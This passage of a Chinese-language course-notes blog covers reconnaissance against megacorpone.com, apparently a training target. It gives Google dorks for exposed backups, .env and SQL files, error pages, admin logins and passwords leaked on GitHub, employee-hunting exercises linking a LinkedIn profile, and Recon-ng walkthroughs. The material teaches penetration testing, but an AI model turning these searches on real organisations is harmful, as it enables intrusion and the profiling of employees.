 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com inurl:/backup&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找备份目录（可能含数据库或代码备份）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;backup.zip&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;直接定位压缩备份文件。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;This is a snapshot of&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找网站快照备份页面。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="5-漏洞与错误信息利用"&gt;&lt;strong&gt;5. 漏洞与错误信息利用&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;`site:megacorpone.com &amp;ldquo;error&amp;rdquo;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;&amp;ldquo;warning&amp;rdquo;`&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;sql syntax near&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;定位SQL报错页面（可能存在SQL注入漏洞）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;Stack trace:&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找Java/PHP堆栈跟踪信息（暴露代码逻辑）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;PHP Fatal error&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;发现PHP致命错误页面。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="6-员工与内部信息收集"&gt;&lt;strong&gt;6. 员工与内部信息收集&lt;/strong&gt;
&lt;/h3&gt;&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/th&gt;
 &lt;th style="text-align: center"&gt;&lt;strong&gt;用途&lt;/strong&gt;&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:linkedin.com employees megacorpone.com&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;搜索LinkedIn上目标公司的员工信息。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;confidential&amp;quot; OR &amp;quot;internal&amp;quot;&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找标有“内部”或“机密”的文件。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:github.com &amp;quot;megacorpone.com&amp;quot; password&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;在GitHub中搜索目标相关代码中的密码泄露。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td style="text-align: center"&gt;&lt;code&gt;site:megacorpone.com &amp;quot;@megacorpone.com&amp;quot; filetype:csv&lt;/code&gt;&lt;/td&gt;
 &lt;td style="text-align: center"&gt;查找包含公司邮箱的CSV文件（可能为员工列表）。&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;img alt="image-20250524222722742" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524222722742.png"&gt;&lt;/p&gt;
&lt;h3 id="7-高级组合技巧"&gt;&lt;strong&gt;7. 高级组合技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;排除干扰&lt;/strong&gt;：
&lt;code&gt;site:megacorpone.com -site:www.megacorpone.com&lt;/code&gt;（排除主站，专注子域名）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;通配符模糊搜索&lt;/strong&gt;：
&lt;code&gt;site:megacorpone.com inurl:prod*env&lt;/code&gt;（匹配 &lt;code&gt;prod.env&lt;/code&gt;、&lt;code&gt;production.env&lt;/code&gt; 等）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;时间范围限定&lt;/strong&gt;：
在Google搜索工具中限定时间（如过去一年），找到最新泄露的数据。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="课后练习"&gt;课后练习
&lt;/h3&gt;&lt;p&gt;Exercises&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Who is the VP of Legal for MegaCorp One and what is their email address?&lt;/li&gt;
&lt;li&gt;Use Google dorks (either your own or any from the GHDB) to search &lt;a class="link" href="https://www.megacorpone.com" target="_blank" rel="noopener"
 &gt;www.megacorpone.com&lt;/a&gt; for interesting documents.&lt;/li&gt;
&lt;li&gt;What other MegaCorp One employees can you identify that are not listed on &lt;a class="link" href="https://www.megacorpone.com" target="_blank" rel="noopener"
 &gt;www.megacorpone.com&lt;/a&gt;?&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="练习-1"&gt;&lt;strong&gt;练习 1&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;问题&lt;/strong&gt;：
找到 MegaCorp One 的法律副总裁（VP of Legal）及其邮箱地址。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Google Hacking 解法&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;LinkedIn 员工信息挖掘&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:linkedin.com/in &amp;#34;MegaCorp One&amp;#34; &amp;#34;VP Legal&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;搜索 LinkedIn 上职位为 “VP Legal” 且公司为 “MegaCorp One” 的用户。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524223130436" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223130436.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="link" href="https://www.linkedin.com/in/mike-carlow-8128896a/" target="_blank" rel="noopener"
 &gt;https://www.linkedin.com/in/mike-carlow-8128896a/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524223400449" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223400449.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;公司网站内部页面&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com &amp;#34;leadership&amp;#34; OR &amp;#34;executive team&amp;#34; &amp;#34;legal&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;在公司官网的“领导团队”或“管理层”页面中查找法律相关职位。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250524223442277" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223442277.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524223531302" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223531302.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;文档泄露&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com filetype:pdf &amp;#34;VP Legal&amp;#34; email 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;搜索公司 PDF 文件中提及法律副总裁和邮箱的内容。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="练习-2"&gt;&lt;strong&gt;练习 2&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;问题&lt;/strong&gt;：
使用 Google 语法（或 GHDB 中的语法）搜索 &lt;code&gt;www.megacorpone.com&lt;/code&gt; 的“有趣文档”。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Google Hacking 解法&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;敏感文件搜索&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com filetype:pdf OR filetype:doc OR filetype:xls 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;查找所有 PDF、Word、Excel 文档（可能含财务报告、客户数据）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;配置与备份文件&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com (ext:env OR ext:bak OR ext:sql) 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;搜索环境变量文件、备份文件或 SQL 数据库文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;后台与登录入口&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com inurl:admin OR intitle:&amp;#34;login&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;查找管理员后台或登录页面。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;目录遍历&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com intitle:&amp;#34;index of&amp;#34; &amp;#34;parent directory&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;发现开放目录列表（可能泄露源码、图片等）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250524223724535" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223724535.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id="练习-3"&gt;&lt;strong&gt;练习 3&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;问题&lt;/strong&gt;：
找出未在 &lt;code&gt;www.megacorpone.com&lt;/code&gt; 官网列出的其他员工。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Google Hacking 解法&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;社交媒体与代码库&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;site:github.com &amp;ldquo;megacorpone.com&amp;rdquo; &amp;ldquo;employee&amp;rdquo; OR &amp;ldquo;staff&amp;rdquo;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;
- 在 GitHub 代码中搜索员工信息（如注释中的邮箱、测试账号）。

 ![image-20250524223824273](https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524223824273.png)

2. **会议与演讲记录**：

```markdown
site:youtube.com OR site:slideshare.net &amp;#34;MegaCorp One&amp;#34; &amp;#34;speaker&amp;#34; 
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;查找公司员工在外部会议或演讲中公开的姓名和职位。
&lt;img alt="image-20250524224007354" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524224007354.png"&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;新闻稿与合作伙伴&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:news.google.com &amp;#34;MegaCorp One&amp;#34; &amp;#34;announces&amp;#34; OR &amp;#34;partner&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;从新闻稿中挖掘未在官网列出的员工（如项目负责人）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;WHOIS 与域名关联&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&amp;#34;MegaCorp One&amp;#34; site:whois.com 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;通过 WHOIS 查询关联域名，获取注册人姓名和邮箱（可能为员工）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;泄露的通讯录&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-markdown" data-lang="markdown"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;site:megacorpone.com filetype:csv &amp;#34;contact&amp;#34; OR &amp;#34;employee&amp;#34; 
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;搜索泄露的 CSV 通讯录文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="netcraft--信息收集"&gt;Netcraft 信息收集
&lt;/h2&gt;&lt;p&gt;网址：https://searchdns.netcraft.com/&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524224507660" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524224507660.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250524224547650" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250524224547650.png"&gt;&lt;/p&gt;
&lt;h2 id="recon-ng-信息收集workspaces-create-my_workspace"&gt;Recon-ng 信息收集workspaces create my_workspace
&lt;/h2&gt;&lt;h3 id="1-安装与启动"&gt;&lt;strong&gt;1. 安装与启动&lt;/strong&gt;
&lt;/h3&gt;&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;安装（Kali 默认已预装，若需更新）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install recon-ng
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;启动：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;recon-ng
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="image-20250529155428264" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529155428264.png"&gt;&lt;/p&gt;
&lt;h3 id="2-基本工作流程"&gt;&lt;strong&gt;2. 基本工作流程&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="初始化数据库"&gt;&lt;strong&gt;初始化数据库&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;首次使用时需创建数据库：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;workspaces create my_workspace &lt;span class="c1"&gt;# 创建工作区&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;workspaces load my_workspace &lt;span class="c1"&gt;# 加载工作区&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="查看模块"&gt;&lt;strong&gt;查看模块&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;列出所有可用模块：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;marketplace search
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529161811208" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529161811208.png"&gt;&lt;/p&gt;
&lt;p&gt;筛选特定模块（如域名枚举）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;marketplace search domain
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="加载模块"&gt;&lt;strong&gt;加载模块&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;例如查看，下载，加载 &lt;code&gt;whois_pocs&lt;/code&gt; 模块（通过 WHOIS 查找域名信息）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;marketplace info recon/domains-hosts/google_site_web
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;marketplace install recon/domains-hosts/google_site_web
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-contacts/whois_pocs
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;back &lt;span class="c1"&gt;# 回到主界面&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529162333266" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529162333266.png"&gt;&lt;/p&gt;
&lt;h4 id="设置参数"&gt;&lt;strong&gt;设置参数&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;指定目标域名（以 &lt;code&gt;example.com&lt;/code&gt; 为例）：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="执行模块"&gt;&lt;strong&gt;执行模块&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;运行当前加载的模块：（用代理运行）&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529162559795" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529162559795.png"&gt;&lt;/p&gt;
&lt;h4 id="查看结果"&gt;&lt;strong&gt;查看结果&lt;/strong&gt;
&lt;/h4&gt;&lt;p&gt;查看数据库中的收集结果：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;show hosts &lt;span class="c1"&gt;# 显示主机信息&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;show contacts &lt;span class="c1"&gt;# 显示邮箱/联系人&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529170458146" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529170458146.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250529170207120" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529170207120.png"&gt;&lt;/p&gt;
&lt;h3 id="3-常用模块示例"&gt;&lt;strong&gt;3. 常用模块示例&lt;/strong&gt;
&lt;/h3&gt;&lt;h4 id="域名信息收集"&gt;&lt;strong&gt;域名信息收集&lt;/strong&gt;
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-hosts/hackertarget
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250529170408130" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250529170408130.png"&gt;&lt;/p&gt;
&lt;h4 id="邮箱枚举需-api-密钥如-hunterio"&gt;&lt;strong&gt;邮箱枚举&lt;/strong&gt;（需 API 密钥，如 Hunter.io）
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-contacts/hunter_io
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;keys add hunter_api YOUR_API_KEY &lt;span class="c1"&gt;# 替换为实际 API 密钥&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE example.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;run
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h4 id="子域名爆破使用-bruteforce-字典"&gt;&lt;strong&gt;子域名爆破&lt;/strong&gt;（使用 bruteforce 字典）：
&lt;/h4&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;modules load recon/domains-hosts/brute_hosts
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;options &lt;span class="nb"&gt;set&lt;/span&gt; SOURCE megacorpone.com
